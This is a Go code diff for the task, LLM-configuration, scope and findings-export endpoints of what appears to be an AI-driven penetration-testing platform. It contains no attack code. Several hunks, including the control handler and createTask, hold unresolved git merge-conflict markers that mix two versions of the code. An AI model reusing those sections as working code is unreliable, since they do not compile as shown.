s.m.PG().GoalCountsAll() // goal progress per exploration, one query dtos := make([]TaskDTO, 0, len(list)) for _, t := range list { - status := "created" - switch { - case isTerminalStatus(t.Status): // 持久化终态优先(done/failed/timeout) - status = t.Status - case t.Paused || s.engine.IsPaused(t.ID): - status = "paused" - case s.engine.Ready() && s.engine.Started(t.ID): - status = "running" - } - dto := taskDTO(t, status) + dto := taskDTO(t, s.resolvedTaskStatus(t)) dto.Tokens = tokenTotalDTO(toks[t.ExpID]) // prefer the live in-memory heartbeat (fresher) and fall back to the // persisted max activity time (survives restarts) for run-duration display. @@ -891,6 +982,29 @@ func (s *Server) listTasks(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, map[string]any{"tasks": dtos, "active": active}) } +func (s *Server) resolvedTaskStatus(t *Task) string { + if t == nil { + return "created" + } + lifecycle := t.lifecycleSnapshot() + switch { + case isTerminalStatus(lifecycle.Status): + return lifecycle.Status + case lifecycle.Queued: + return "queued" + case lifecycle.Paused || s.engine.IsPaused(t.ID): + return "paused" + case t.llmStateSnapshot().FailoverState == "chain_exhausted" && s.engine.Started(t.ID): + // LLM readiness is an execution dependency, not lifecycle state. Keeping + // an exhausted task running lets the user edit/reset its chain directly. + return "running" + case s.engine.ReadyFor(t) && s.engine.Started(t.ID): + return "running" + default: + return "created" + } +} + func (s *Server) setActive(w http.ResponseWriter, r *http.Request) { var req struct { ID string `json:"id"` @@ -904,7 +1018,8 @@ func (s *Server) setActive(w http.ResponseWriter, r *http.Request) { return } // resume the engine for the opened task (idempotent — no-op if already running). - if t, ok := s.m.Task(req.ID); ok { + // 排队中的任务:仅设为活跃可查看,不启动引擎(维持并发上限,由 reconcile 补位)。 + if t, ok := s.m.Task(req.ID); ok && !t.lifecycleSnapshot().Queued { s.engine.Run(s.ctx, t) } writeJSON(w, 200, map[string]any{"active": req.ID}) @@ -924,25 +1039,15 @@ func (s *Server) control(w http.ResponseWriter, r *http.Request) { writeErr(w, 400, err.Error()) return } - switch req.Action { - case "pause": - s.engine.Pause(t.ID) - case "resume": - s.engine.Run(s.ctx, t) // ensure loops are alive, then un-pause + nudge - s.engine.Resume(t) - default: + if req.Action != "pause" && req.Action != "resume" { writeErr(w, 400, "action must be pause|resume") return } - paused := s.engine.IsPaused(t.ID) - t.Paused = paused // keep the in-memory task (shown in /api/tasks) in sync - if err := s.m.SetTaskPaused(t.ID, paused); err != nil { // persist (survives restart) - log.Printf("[control] persist paused %s: %v", t.ID, err) + result, err := s.applyTaskControl(t, req.Action) + if err != nil { + writeErr(w, 409, err.Error()) + return } -<<<<<<< Updated upstream - log.Printf("[task] #%s %s", t.ID, map[bool]string{true: "已暂停", false: "已恢复"}[paused]) - writeJSON(w, 200, map[string]any{"id": t.ID, "paused": paused}) -======= writeJSON(w, 200, result) } @@ -985,12 +1090,21 @@ func (s *Server) controlIntent(w http.ResponseWriter, r *http.Request) { return } writeJSON(w, 200, result) ->>>>>>> Stashed changes } // rerunIntent 重跑一条没跑成功的意图(blocked/exhausted/stopped):把它置回 open,worker // 会重新认领、从头再跑(已写回图谱的 fact/finding/asset 保留);若任务已终态/暂停则顺带复活。 // 用于「出错的 work 点击继续运行」——网络/LLM 抖动导致 blocked 后可一键重试。 +func restoreRerunIntent(t *Task, before *db.Node) error { + if t == nil || before == nil { + return fmt.Errorf("missing intent rollback snapshot") + } + if before.State == "blocked" && before.BlockedReason != "" { + return t.Store.SetIntentBlockedReason(before.ID, before.BlockedReason) + } + return t.Store.SetIntentState(before.ID, before.State) +} + func (s *Server) rerunIntent(w http.ResponseWriter, r *http.Request) { t, ok := s.m.Task(r.PathValue("id")) if !ok { @@ -1002,6 +1116,16 @@ func (s *Server) rerunIntent(w http.ResponseWriter, r *http.Request) { writeErr(w, 400, "bad intent id") return } + if !s.engine.beginTaskOperation(t.ID) { + writeErr(w, 409, "任务正在删除,无法重跑意图") + return + } + defer s.engine.decInflight(t.ID) + before, err := t.Store.GetNode(iid) + if err != nil { + writeErr(w, 500, err.Error()) + return + } reopened, err := t.Store.ReopenIntent(iid) if err != nil { writeErr(w, 500, err.Error()) @@ -1011,9 +1135,16 @@ func (s *Server) rerunIntent(w http.ResponseWriter, r *http.Request) { writeErr(w, 409, "该意图不是可重跑状态(仅 blocked/exhausted/stopped 可重跑)") return } - s.reviveTask(t) // 终态/暂停 → 拉回 running,确保 worker 循环存活并重新认领 + queued, err := s.admitTask(t, "resume") + if err != nil { + if rollbackErr := restoreRerunIntent(t, before); rollbackErr != nil { + err = fmt.Errorf("%w; restore intent %d after admission failure: %v", err, iid, rollbackErr) + } + writeErr(w, 500, err.Error()) + return + } log.Printf("[task] #%s 意图 #%d 已重开(重跑)", t.ID, iid) - writeJSON(w, 200, map[string]any{"id": t.ID, "reopened": iid}) + writeJSON(w, 200, map[string]any{"id": t.ID, "reopened": iid, "queued": queued}) } // rerunBlocked 批量重跑本任务全部 blocked 意图(适合一次网络/LLM 断连导致多条 blocked 后 @@ -1024,16 +1155,47 @@ func (s *Server) rerunBlocked(w http.ResponseWriter, r *http.Request) { writeErr(w, 404, "task not found") return } + if !s.engine.beginTaskOperation(t.ID) { + writeErr(w, 409, "任务正在删除,无法重跑意图") + return + } + defer s.engine.decInflight(t.ID) + intents, err := t.Store.ListByKind(db.KindIntent, 1000000) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + before := make([]*db.Node, 0) + for _, intent := range intents { + if intent.State == "blocked" { + copy := *intent + before = append(before, ©) + } + } n, err := t.Store.ReopenBlockedIntents() if err != nil { writeErr(w, 500, err.Error()) return } + queued := false if n > 0 { - s.reviveTask(t) + queued, err = s.admitTask(t, "resume") + if err != nil { + rollbackErrors := make([]string, 0) + for _, intent := range before { + if rollbackErr := restoreRerunIntent(t, intent); rollbackErr != nil { + rollbackErrors = append(rollbackErrors, fmt.Sprintf("intent %d: %v", intent.ID, rollbackErr)) + } + } + if len(rollbackErrors) > 0 { + err = fmt.Errorf("%w; restore blocked intents after admission failure: %s", err, strings.Join(rollbackErrors, "; ")) + } + writeErr(w, 500, err.Error()) + return + } log.Printf("[task] #%s 批量重开 %d 条 blocked 意图", t.ID, n) } - writeJSON(w, 200, map[string]any{"id": t.ID, "reopened": n}) + writeJSON(w, 200, map[string]any{"id": t.ID, "reopened": n, "queued": queued}) } // getLLM returns the current LLM config (key never exposed). @@ -1050,6 +1212,7 @@ func (s *Server) getLLM(w http.ResponseWriter, r *http.Request) { "rate_per_second": s.llmCfg.RatePerSecond, "rate_per_minute": s.llmCfg.RatePerMinute, "context_window_k": s.llmCfg.ContextWindowK, + "thinking_type": s.llmCfg.ThinkingType, "reasoning_effort": s.llmCfg.ReasoningEffort, }) } @@ -1065,6 +1228,7 @@ func (s *Server) setLLM(w http.ResponseWriter, r *http.Request) { RatePerSecond float64 `json:"rate_per_second"` RatePerMinute float64 `json:"rate_per_minute"` ContextWindowK int `json:"context_window_k"` + ThinkingType string `json:"thinking_type"` ReasoningEffort string `json:"reasoning_effort"` } if err := json.NewDecoder(r.Body).Decode(&req); err != nil { @@ -1073,6 +1237,7 @@ func (s *Server) setLLM(w http.ResponseWriter, r *http.Request) { } cfg := agent.ConfigFrom(req.Provider, req.Model, req.BaseURL, req.APIKey, req.Proxy) cfg.RatePerSecond, cfg.RatePerMinute = req.RatePerSecond, req.RatePerMinute + cfg.ThinkingType = req.ThinkingType cfg.ReasoningEffort = req.ReasoningEffort if k := req.ContextWindowK; k > 0 { // 0 = keep default (200K); cap at 1M if k > 1000 { @@ -1089,11 +1254,24 @@ func (s *Server) setLLM(w http.ResponseWriter, r *http.Request) { writeErr(w, 400, "api_key required") return } + // Validate provider construction before persisting it as the active profile. + if _, err := cfg.NewProvider(); err != nil { + writeErr(w, 400, "provider init failed: "+err.Error()) + return + } + if err := s.saveLLMConfig(cfg); err != nil { + writeErr(w, 500, "persist provider failed: "+err.Error()) + return + } + s.invalidateProfileAgents() + if _, ok := s.loadLLMConfig(); !ok { + writeErr(w, 500, "saved provider is unavailable") + return + } if err := s.applyLLM(cfg); err != nil { writeErr(w, 400, "provider init failed: "+err.Error()) return } - s.saveLLMConfig(cfg) // persist to DB log.Printf("[engine] LLM configured via UI: %s / %s", cfg.Provider(), cfg.Model) s.getLLM(w, r) } @@ -1106,6 +1284,7 @@ func (s *Server) testLLM(w http.ResponseWriter, r *http.Request) { BaseURL string `json:"base_url"` Proxy string `json:"proxy"` APIKey string `json:"api_key"` + ThinkingType string `json:"thinking_type"` ReasoningEffort string `json:"reasoning_effort"` ProfileID *int64 `json:"profile_id"` // 测已存 profile 时传入:api_key 为空则用它存的 key } @@ -1116,6 +1295,7 @@ func (s *Server) testLLM(w http.ResponseWriter, r *http.Request) { cfg := agent.ConfigFrom(req.Provider, req.Model, req.BaseURL, req.APIKey, req.Proxy) // mirror production: send the SAME thinking params so a provider that rejects the // reasoning_effort/thinking field fails the test too (no false "test ok, run 400"). + cfg.ThinkingType = req.ThinkingType cfg.ReasoningEffort = req.ReasoningEffort // API Key 解析优先级:表单输入 > 指定 profile 存的 key > 全局配置的 key。 // 已存 profile 的 key 不回传浏览器,所以测试已存配置时表单为空,需从 DB 取。 @@ -1142,15 +1322,8 @@ func (s *Server) testLLM(w http.ResponseWriter, r *http.Request) { } type createTaskReq struct { -<<<<<<< Updated upstream - Description string `json:"description"` - Goal string `json:"goal"` - LLMProfileID *int64 `json:"llm_profile_id,omitempty"` // 指定运行本任务的 LLM 配置;省略/null=用激活配置 - TimeoutSeconds int `json:"timeout_seconds"` // 任务级超时(秒);0/省略=不限时 - PlanHeartbeatSeconds int `json:"plan_heartbeat_seconds"` // planner 心跳触发间隔(秒);0/省略=默认600(10min);下限=默认=600,低于自动抬到600 - SeedFirstIntent *bool `json:"seed_first_intent,omitempty"` // 创建时直接下发一条种子意图(内容=描述+目标),让 worker 免等首轮 planner 直接开跑;省略/null=默认关闭,走标准先规划再执行。显式传 true 才开(CTF 常一 work 解决时可省掉开跑前的 planner 轮)。 -======= Name string `json:"name,omitempty"` // 可选任务名称;省略/空=未命名 + CategoryID *int64 `json:"category_id,omitempty"` Description string `json:"description"` Goal string `json:"goal"` LLMProfileID *int64 `json:"llm_profile_id,omitempty"` // 指定运行本任务的 LLM 配置;省略/null=用激活配置 @@ -1161,7 +1334,6 @@ type createTaskReq struct { PlanHeartbeatSeconds int `json:"plan_heartbeat_seconds"` // planner 心跳触发间隔(秒);0/省略=默认600(10min);下限=默认=600,低于自动抬到600 SeedFirstIntent *bool `json:"seed_first_intent,omitempty"` // 创建时直接下发一条种子意图(内容=描述+目标),让 worker 免等首轮 planner 直接开跑;省略/null=默认关闭,走标准先规划再执行。显式传 true 才开(CTF 常一 work 解决时可省掉开跑前的 planner 轮)。 CoverageEnabled *bool `json:"coverage_enabled,omitempty"` // 资产覆盖度功能;省略/null=默认开(true)。false=关闭覆盖度计算/展示/自动累积范围+隐藏 add_task_scope/list_untested_assets。company 关联不受影响。 ->>>>>>> Stashed changes } func (s *Server) createTask(w http.ResponseWriter, r *http.Request) { @@ -1173,37 +1345,56 @@ func (s *Server) createTask(w http.ResponseWriter, r *http.Request) { if strings.TrimSpace(req.Description) == "" { req.Description = "未命名任务" } - // validate the pinned profile up front (must exist + be usable), so a bad id fails - // task creation instead of silently falling back to the active profile at run time. - if req.LLMProfileID != nil { - if _, ok := s.loadProfileConfig(*req.LLMProfileID); !ok { - writeErr(w, 400, "所选 LLM 配置不存在或未设置 API Key") - return - } + if len(req.LLMProfileIDs) == 0 && req.LLMProfileID != nil { + req.LLMProfileIDs = []int64{*req.LLMProfileID} + } + if err := s.validateTaskProfileIDs(req.LLMProfileIDs); err != nil { + writeErr(w, 400, err.Error()) + return } if req.TimeoutSeconds < 0 { req.TimeoutSeconds = 0 } - t, err := s.m.CreateTask(req.Description, req.Goal, req.LLMProfileID, req.TimeoutSeconds, req.PlanHeartbeatSeconds) + if len(req.SourceTaskIDs) > db.MaxTaskSourceCount { + writeErr(w, 400, fmt.Sprintf("关联任务最多选择 %d 个", db.MaxTaskSourceCount)) + return + } + sourceIDs := make([]int64, 0, len(req.SourceTaskIDs)) + seenSources := map[int64]bool{} + for _, raw := range req.SourceTaskIDs { + id, err := strconv.ParseInt(strings.TrimSpace(raw), 10, 64) + if err != nil || id <= 0 || seenSources[id] { + writeErr(w, 400, "关联任务 id 无效或重复") + return + } + if _, ok := s.m.Task(strconv.FormatInt(id, 10)); !ok { + writeErr(w, 400, fmt.Sprintf("关联任务 #%d 不存在", id)) + return + } + seenSources[id] = true + sourceIDs = append(sourceIDs, id) + } + companyIDs, err := db.NormalizeTaskCompanyIDs(req.CompanyIDs) if err != nil { -<<<<<<< Updated upstream -======= writeErr(w, 400, fmt.Sprintf("关联企业无效:最多选择 %d 个有效企业", db.MaxTaskCompanyCount)) return } req.CompanyIDs = companyIDs t, err := s.m.CreateTaskWithOptions(req.Description, req.Goal, db.TaskCreateOptions{ - Name: strings.TrimSpace(req.Name), + Name: strings.TrimSpace(req.Name), CategoryID: req.CategoryID, SourceTaskIDs: sourceIDs, CompanyIDs: req.CompanyIDs, LLMProfileIDs: req.LLMProfileIDs, TimeoutSeconds: req.TimeoutSeconds, PlanHeartbeatSeconds: req.PlanHeartbeatSeconds, CoverageEnabled: req.CoverageEnabled, }) if err != nil { + if errors.Is(err, db.ErrTaskCategoryInvalid) || errors.Is(err, db.ErrTaskCategoryNotFound) { + writeErr(w, 400, "任务分类不存在或无效") + return + } if errors.Is(err, db.ErrTaskCompanyIDsInvalid) || errors.Is(err, db.ErrTaskCompanyNotFound) { writeErr(w, 400, "关联企业不存在或无效") return } ->>>>>>> Stashed changes writeErr(w, 500, err.Error()) return } @@ -1211,7 +1402,76 @@ func (s *Server) createTask(w http.ResponseWriter, r *http.Request) { // 共享的建后流程(seed + 种子意图 + 后台目标分解 + engine.Run),与 spawn_task 复用同一段。 // launchTask 内部异步,不阻塞 UI —— 目标分解在后台可见地进行。 s.launchTask(t, req.Description+" "+req.Goal, req.SeedFirstIntent != nil && *req.SeedFirstIntent) - writeJSON(w, 201, t) + writeJSON(w, 201, taskDTO(t, s.resolvedTaskStatus(t))) +} + +func (s *Server) validateTaskProfileIDs(ids []int64) error { + seen := map[int64]bool{} + for _, id := range ids { + if id <= 0 || seen[id] { + return fmt.Errorf("LLM 配置 id 无效或重复") + } + seen[id] = true + if _, ok := s.loadProfileConfig(id); !ok { + return fmt.Errorf("LLM 配置 #%d 不存在或未设置 API Key", id) + } + } + return nil +} + +func (s *Server) updateTaskLLMProfiles(w http.ResponseWriter, r *http.Request) { + t, ok := s.m.Task(r.PathValue("id")) + if !ok { + writeErr(w, 404, "task not found") + return + } + if isTerminalStatus(t.lifecycleSnapshot().Status) { + writeErr(w, 409, "已结束的任务不能修改 LLM 配置") + return + } + before := t.llmStateSnapshot() + var req struct { + LLMProfileIDs []int64 `json:"llm_profile_ids"` + ActiveLLMProfileID *int64 `json:"active_llm_profile_id"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + writeErr(w, 400, "bad json: "+err.Error()) + return + } + if err := s.validateTaskProfileIDs(req.LLMProfileIDs); err != nil { + writeErr(w, 400, err.Error()) + return + } + active := int64(0) + if req.ActiveLLMProfileID != nil { + active = *req.ActiveLLMProfileID + } + reopened, err := s.m.ReplaceTaskLLMProfiles(t.ID, req.LLMProfileIDs, active) + if err != nil { + if strings.Contains(err.Error(), "terminal") { + writeErr(w, 409, err.Error()) + } else { + writeErr(w, 400, err.Error()) + } + return + } + // Profile edits affect only subsequent LLM calls. Existing in-flight calls + // retain their provider. Concurrency reconciliation treats ActiveLLMCalls as a + // live slot and postpones an unavailable task's pause/queue transition until + // the call returns; a nudge lets an idle running task resume promptly. + t.Notify() + go s.reconcileConcurrency() + llmState := t.llmStateSnapshot() + result := map[string]any{ + "id": t.ID, "llm_profile_ids": llmState.ProfileIDs, + "active_llm_profile_id": llmState.ActiveID, + "llm_failover_state": llmState.FailoverState, "reopened_intents": reopened, + } + if !sameOptionalID(before.ActiveID, llmState.ActiveID) { + event := s.emitManualTaskLLMSwitch(t, before.ActiveID, llmState.ActiveID) + result["switch_event"] = activityDTO(event) + } + writeJSON(w, 200, result) } var ( @@ -1299,12 +1559,16 @@ func (s *Server) seed(t *Task, text string) { } var rootID int64 if as := s.m.Assets(); as != nil { + taskID, _ := strconv.ParseInt(t.ID, 10, 64) if net.ParseIP(host) != nil { - rootID, _ = as.UpsertIP(db.UpsertIPReq{IP: host}) + rootID, _ = as.UpsertIP(db.UpsertIPReq{IP: host, TaskID: taskID}) } else if scheme == "https" || scheme == "http" { - rootID, _ = as.UpsertHTTPService(db.UpsertHTTPServiceReq{URL: u}) + rootID, _ = as.UpsertHTTPService(db.UpsertHTTPServiceReq{URL: u, TaskID: taskID}) } else { - rootID, _ = as.UpsertRootDomain(db.UpsertRootDomainReq{Domain: host}) + rootID, _ = as.UpsertRootDomain(db.UpsertRootDomainReq{Domain: host, TaskID: taskID}) + } + if rootID > 0 { + _ = as.SetTaskAssetSource(taskID, rootID, "task", "由任务描述或目标初始化", nil) } } // anchor the seeded assets to this task's begin root as lineage/provenance @@ -1344,7 +1608,7 @@ func (s *Server) getTask(w http.ResponseWriter, r *http.Request) { writeErr(w, 404, "task not found") return } - writeJSON(w, 200, t) + writeJSON(w, 200, taskDTO(t, s.resolvedTaskStatus(t))) } // taskCoverage returns a task's rough asset test coverage (denominator/tested/backlog). @@ -1365,7 +1629,7 @@ func (s *Server) taskCoverage(w http.ResponseWriter, r *http.Request) { return } taskID, _ := strconv.ParseInt(t.ID, 10, 64) - cov, err := as.TaskCoverage(taskID, t.ExpID) + cov, err := as.TaskCoverageWithSources(taskID) if err != nil { writeErr(w, 500, err.Error()) return @@ -1409,22 +1673,23 @@ func (s *Server) taskAssetRefs(w http.ResponseWriter, r *http.Request) { writeErr(w, 400, "需要 asset_id") return } - refs, err := t.Store.AssetRefs(assetID) + refs, err := t.Store.AssetRefsWithSources(assetID) if err != nil { writeErr(w, 500, err.Error()) return } - intents := []db.AssetRef{} - facts := []db.AssetRef{} - findings := []db.AssetRef{} + intents := []CoverageAssetRefDTO{} + facts := []CoverageAssetRefDTO{} + findings := []CoverageAssetRefDTO{} for _, ref := range refs { + dto := coverageAssetRefDTO(ref) switch ref.Kind { case "intent": - intents = append(intents, ref) + intents = append(intents, dto) case "fact": - facts = append(facts, ref) + facts = append(facts, dto) case "finding": - findings = append(findings, ref) + findings = append(findings, dto) } } writeJSON(w, 200, map[string]any{"intents": intents, "facts": facts, "findings": findings}) @@ -1443,7 +1708,7 @@ func (s *Server) taskScopeList(w http.ResponseWriter, r *http.Request) { return } taskID, _ := strconv.ParseInt(t.ID, 10, 64) - rows, err := as.ListTaskScope(taskID) + rows, err := as.ListTaskScopeWithSources(taskID) if err != nil { writeErr(w, 500, err.Error()) return @@ -1451,6 +1716,64 @@ func (s *Server) taskScopeList(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, map[string]any{"scope": rows}) } +func (s *Server) taskScopeAdd(w http.ResponseWriter, r *http.Request) { + t, ok := s.m.Task(r.PathValue("id")) + if !ok { + writeErr(w, 404, "task not found") + return + } + as := s.m.Assets() + if as == nil { + writeErr(w, 503, "asset store 未启用") + return + } + var body struct { + Kind string `json:"kind"` + Value string `json:"value"` + Reason string `json:"reason"` + } + if err := json.NewDecoder(r.Body).Decode(&body); err != nil { + writeErr(w, 400, "invalid JSON") + return + } + taskID, _ := strconv.ParseInt(t.ID, 10, 64) + ts, err := as.AddAgentScope(taskID, body.Kind, body.Value, body.Reason, "manual") + if err != nil { + writeErr(w, 400, err.Error()) + return + } + writeJSON(w, 200, ts) +} + +func (s *Server) taskScopeDelete(w http.ResponseWriter, r *http.Request) { + t, ok := s.m.Task(r.PathValue("id")) + if !ok { + writeErr(w, 404, "task not found") + return + } + as := s.m.Assets() + if as == nil { + writeErr(w, 503, "asset store 未启用") + return + } + taskID, _ := strconv.ParseInt(t.ID, 10, 64) + scopeID, err := strconv.ParseInt(r.PathValue("sid"), 10, 64) + if err != nil { + writeErr(w, 400, "invalid scope id") + return + } + deleted, err := as.DeleteTaskScope(taskID, scopeID) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + if !deleted { + writeErr(w, 404, "scope row not found") + return + } + writeJSON(w, 200, map[string]bool{"ok": true}) +} + func (s *Server) frontier(w http.ResponseWriter, r *http.Request) { t := s.m.ResolveTask(r.URL.Query().Get("task")) if t == nil { @@ -1479,8 +1802,8 @@ func (s *Server) findings(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, out) return } - page := atoiDefault(q.Get("page"), 1) - limit := min(atoiDefault(q.Get("limit"), 20), 200) + page := findingPaginationParam(q.Get("page"), 1, 0) + limit := findingPaginationParam(q.Get("limit"), 20, 200) filter := db.FindingFilter{ Severity: normFilter(q.Get("severity")), Status: normFilter(q.Get("status")), @@ -1507,7 +1830,11 @@ func (s *Server) findings(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, []any{}) return } - f, _ := t.Store.ListByKind(db.KindFinding, 200) + f, err := t.Store.ListByKind(db.KindFinding, 200) + if err != nil { + writeErr(w, 500, err.Error()) + return + } tid, _ := strconv.ParseInt(t.ID, 10, 64) meta, err := s.m.pg.FindingMetaByNodeID(tid) if err != nil { @@ -1518,7 +1845,42 @@ func (s *Server) findings(w http.ResponseWriter, r *http.Request) { aidSet = append(aidSet, m.AssetIDs...) } assets := s.resolveAssetIDs(aidSet) - writeJSON(w, 200, findingDTOsForTask(t, f, meta, assets)) + out := findingDTOsForTask(t, f, meta, assets) + + // Related-task findings are a live, read-only view. Provenance metadata lets + // the task UI suppress mutation affordances while retaining stable ids. + sources, err := t.Store.DirectSourceStores() + if err != nil { + writeErr(w, 500, err.Error()) + return + } + for _, source := range sources { + nodes, listErr := source.Store.ListByKind(db.KindFinding, 200) + if listErr != nil { + writeErr(w, 500, listErr.Error()) + return + } + for _, node := range nodes { + node.SourceTaskID = source.Task.TaskID + node.Inherited = true + } + sourceMeta, metaErr := s.m.pg.FindingMetaByNodeID(source.Task.TaskID) + if metaErr != nil { + log.Printf("[findings] source_task=%d meta: %v", source.Task.TaskID, metaErr) + } + var sourceAssetIDs []int64 + for _, item := range sourceMeta { + sourceAssetIDs = append(sourceAssetIDs, item.AssetIDs...) + } + out = append(out, findingDTOsForOwner( + i64s(source.Task.TaskID), + source.Task.Description, + nodes, + sourceMeta, + s.resolveAssetIDs(sourceAssetIDs), + )...) + } + writeJSON(w, 200, out) } // normFilter maps the frontend's "all" sentinel (and empty) to "" so the DB layer @@ -1593,7 +1955,145 @@ func (s *Server) getFinding(w http.ResponseWriter, r *http.Request) { return } assets := s.resolveAssetIDs(f.AssetIDs) - writeJSON(w, 200, findingFromDB(f, assets)) + dto := findingFromDB(f, assets) + if contextTaskID := strings.TrimSpace(r.URL.Query().Get("context_task")); contextTaskID != "" { + contextTask := s.m.ResolveTask(contextTaskID) + if contextTask == nil { + writeErr(w, 404, "context task not found") + return + } + sourceTaskID, inherited, allowed := findingProvenanceInTask(contextTask, f.TaskID) + if !allowed { + writeErr(w, 404, "finding not available in task context") + return + } + dto.SourceTaskID = sourceTaskID + dto.Inherited = inherited + } + writeJSON(w, 200, dto) +} + +// findingsExport 导出发现页的漏洞。 +// +// scope = filtered(沿用页面筛选)| all(全部)| selected(勾选的 ids) +// format = md-single(整合一份 .md)| md-zip(一漏洞一 .md,打包 zip) +// | csv | json +// ids = 逗号分隔的 finding id(scope=selected 时必填) +// 筛选参数 severity/status/vulnclass/task_id/sort 与列表接口一致(scope=filtered 用)。 +func (s *Server) findingsExport(w http.ResponseWriter, r *http.Request) { + q := r.URL.Query() + scope := q.Get("scope") + format := q.Get("format") + + var ids []int64 + var filter db.FindingFilter + switch scope { + case "selected": + for _, part := range strings.Split(q.Get("ids"), ",") { + part = strings.TrimSpace(part) + if part == "" { + continue + } + id, err := strconv.ParseInt(part, 10, 64) + if err != nil || id <= 0 { + writeErr(w, 400, "bad finding id: "+part) + return + } + ids = append(ids, id) + } + if len(ids) == 0 { + writeErr(w, 400, "no findings selected") + return + } + case "all": + // 空 filter = 不加任何条件。 + case "filtered", "": + filter = db.FindingFilter{ + Severity: normFilter(q.Get("severity")), + Status: normFilter(q.Get("status")), + VulnClass: normFilter(q.Get("vulnclass")), + TaskID: normFilter(q.Get("task_id")), + Sort: q.Get("sort"), + } + default: + writeErr(w, 400, "bad scope: "+scope) + return + } + + fs, err := s.m.pg.ListFindingsForExport(filter, ids) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + + now := time.Now() + stamp := now.Format("20060102-150405") + setDownload := func(contentType, filename string) { + w.Header().Set("Content-Type", contentType) + w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename)) + } + + switch format { + case "md-single": + setDownload("text/markdown; charset=utf-8", "findings-"+stamp+".md") + _, _ = w.Write([]byte(report.FindingsMarkdown(fs, now))) + case "md-zip": + setDownload("application/zip", "findings-"+stamp+".zip") + zw := zip.NewWriter(w) + used := map[string]int{} + for _, f := range fs { + base := report.FindingFilename(f) + name := base + // 去重:同名文件追加 -2、-3…… + if n := used[base]; n > 0 { + name = fmt.Sprintf("%s-%d.md", strings.TrimSuffix(base, ".md"), n+1) + } + used[base]++ + fw, werr := zw.Create(name) + if werr != nil { + log.Printf("[findings-export] zip create %s: %v", name, werr) + continue + } + _, _ = fw.Write([]byte(report.SingleFindingMarkdown(f, now))) + } + if cerr := zw.Close(); cerr != nil { + log.Printf("[findings-export] zip close: %v", cerr) + } + case "csv": + setDownload("text/csv; charset=utf-8", "findings-"+stamp+".csv") + _, _ = w.Write(report.FindingsCSV(fs)) + case "json": + assets := s.resolveFindingAssets(fs) + out := make([]FindingDTO, 0, len(fs)) + for _, f := range fs { + out = append(out, findingFromDB(f, assets)) + } + setDownload("application/json; charset=utf-8", "findings-"+stamp+".json") + enc := json.NewEncoder(w) + enc.SetIndent("", " ") + _ = enc.Encode(out) + default: + writeErr(w, 400, "bad format: "+format) + } +} + +func findingProvenanceInTask(contextTask *Task, findingTaskID *int64) (sourceTaskID string, inherited, allowed bool) { + if contextTask == nil || findingTaskID == nil { + return "", false, false + } + contextID, err := strconv.ParseInt(contextTask.ID, 10, 64) + if err != nil { + return "", false, false + } + if *findingTaskID == contextID { + return "", false, true + } + for _, sourceID := range contextTask.lifecycleSnapshot().SourceTaskIDs { + if sourceID == *findingTaskID { + return i64s(sourceID), true, true + } + } + return "", false, false } // findingLineage returns the exploration sub-DAG from the task root to this @@ -1721,6 +2221,26 @@ func (s *Server) patchFinding(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, findingFromDB(f, s.resolveAssetIDs(f.AssetIDs))) } +// deleteFinding removes a finding (findings row + originating exploration node). +// id is the standalone findings-table id (DTO finding_id). +func (s *Server) deleteFinding(w http.ResponseWriter, r *http.Request) { + id := int64(atoiDefault(r.PathValue("id"), 0)) + if id <= 0 { + writeErr(w, 400, "bad finding id") + return + } + n, err := s.m.pg.DeleteFinding(id) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + if n == 0 { + writeErr(w, 404, "finding not found") + return + } + writeJSON(w, 200, map[string]any{"deleted": true, "id": id}) +} + func (s *Server) intents(w http.ResponseWriter, r *http.Request) { t := s.m.ResolveTask(r.URL.Query().Get("task")) if t == nil { @@ -1743,17 +2263,108 @@ func (s *Server) intents(w http.ResponseWriter, r *http.Request) { return } // Paged form: ?before= (or ?page as a marker) → {items, has_more} so the - // worker session list can reach past the old fixed 300 boundary on scroll. + // worker session list can reach past the old fixed 300 boundary on scroll. It + // also includes immutable intent results from directly related tasks; those + // rows never participate in this task's frontier or claim path. before := int64(atoiDefault(q.Get("before"), 0)) - in, hasMore, err := t.Store.ListByKindPage(db.KindIntent, before, limit) + in, hasMore, err := taskIntentHistoryPage(t.Store, before, limit, false, 0) if err != nil { log.Printf("[intents] task=%s before=%d limit=%d: %v", t.ID, before, limit, err) writeErr(w, 500, err.Error()) return } + sources, err := t.Store.DirectSourceStores() + if err != nil { + writeErr(w, 500, err.Error()) + return + } + for _, source := range sources { + items, sourceMore, sourceErr := taskIntentHistoryPage(source.Store, before, limit, true, source.Task.TaskID) + if sourceErr != nil { + writeErr(w, 500, sourceErr.Error()) + return + } + in = append(in, items...) + hasMore = hasMore || sourceMore + } + sort.Slice(in, func(i, j int) bool { return in[i].ID > in[j].ID }) + if len(in) > limit { + in = in[:limit] + hasMore = true + } writeJSON(w, 200, map[string]any{"items": taskNodeDTOs(in), "has_more": hasMore}) } +func inheritedIntentResult(state string) bool { + switch state { + case "done", "blocked", "exhausted", "stopped": + return true + default: + return false + } +} + +// inheritedGraphSnapshot exposes immutable source-task history without leaking +// work that is still open or running. Edges are filtered with the nodes so the +// response cannot contain dangling ids that reveal hidden live intent topology. +func inheritedGraphSnapshot(nodes []*db.Node, edges []db.Edge, sourceTaskID int64) ([]*db.Node, []db.Edge) { + visible := make(map[int64]struct{}, len(nodes)) + filteredNodes := make([]*db.Node, 0, len(nodes)) + for _, node := range nodes { + if node == nil || (node.Kind == db.KindIntent && !inheritedIntentResult(node.State)) { + continue + } + node.SourceTaskID = sourceTaskID + node.Inherited = true + visible[node.ID] = struct{}{} + filteredNodes = append(filteredNodes, node) + } + filteredEdges := make([]db.Edge, 0, len(edges)) + for _, edge := range edges { + if _, ok := visible[edge.From]; !ok { + continue + } + if _, ok := visible[edge.To]; !ok { + continue + } + filteredEdges = append(filteredEdges, edge) + } + return filteredNodes, filteredEdges +} + +// taskIntentHistoryPage returns one newest-first page for an exploration. +// A source may have many open/running intents, so keep paging until enough +// historical results are collected instead of leaking its frontier into the UI. +func taskIntentHistoryPage(store *db.ExplorationStore, 